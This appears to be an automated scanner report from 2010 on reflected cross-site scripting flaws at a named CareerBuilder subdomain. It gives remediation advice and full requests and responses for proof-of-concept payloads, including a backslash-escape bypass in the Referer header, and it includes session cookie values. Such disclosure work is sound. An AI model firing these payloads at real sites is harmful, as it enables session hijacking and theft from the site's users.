Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f48aa'-alert(1)-'9d78db8d0a5 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami/?lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5&SiteID=cbcb_mh031 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 190697 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=742b47a46d174153b38634de2ce397ba-343070627-RE-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6502B7EE094B552B2B70BBA9219CA94E77CE10351649902F41F8211398221DB738F2E1EB2D4C61F7C85; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:23:46 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:38:46 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL14 Date: Sun, 14 Nov 2010 22:23:46 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... in._introHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e36f"%20a%3db%20a374526cf1f was submitted in the lr parameter. This input was echoed as 3e36f" a=b a374526cf1f in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami/?lr=cbcb_mh3e36f"%20a%3db%20a374526cf1f&SiteID=cbcb_mh031 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 190052 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=4c1214c5309e47ab9c6e1f3f48696a30-343070602-R8-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6508CD4B507BB40F27D5D49BB4DD41970517DAD82ED8DF2ADD73243653D37836DEF1D333B1CB075ACFF; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:23:22 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:38:22 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL8 Date: Sun, 14 Nov 2010 22:23:21 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9545f\'%3balert(1)//6cfbcaa7226 was submitted in the Referer HTTP header. This input was echoed as 9545f\\';alert(1)//6cfbcaa7226 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh031 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=9545f\'%3balert(1)//6cfbcaa7226
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 176553 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=cbcb0fadca3b47c1a9569e6e471e16f6-343070704-RF-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650561189DB47D6ABB196DB4CB014BD6697662C7951FB969626D18C76975F0BABBE1A91E862CEC15D12; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:25:03 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:40:03 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL15 Date: Sun, 14 Nov 2010 22:25:03 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 9545f\\';alert(1)//6cfbcaa7226'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 45845\'%3balert(1)//4dd1c60a594 was submitted in the Referer HTTP header. This input was echoed as 45845\\';alert(1)//4dd1c60a594 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami/ HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=45845\'%3balert(1)//4dd1c60a594
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 176514 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=29994ae3a58f499198496a89a94deeb1-343070587-R3-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650E3907A73E359AD0C717375E6A181228710E52CC9569A7C897CB7D71421C75C1B4E5777777724DBD7; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:23:06 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:38:07 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL3 Date: Sun, 14 Nov 2010 22:23:06 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 45845\\';alert(1)//4dd1c60a594'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
Report generated by XSS.CX at Sun Nov 14 16:28:55 CST 2010.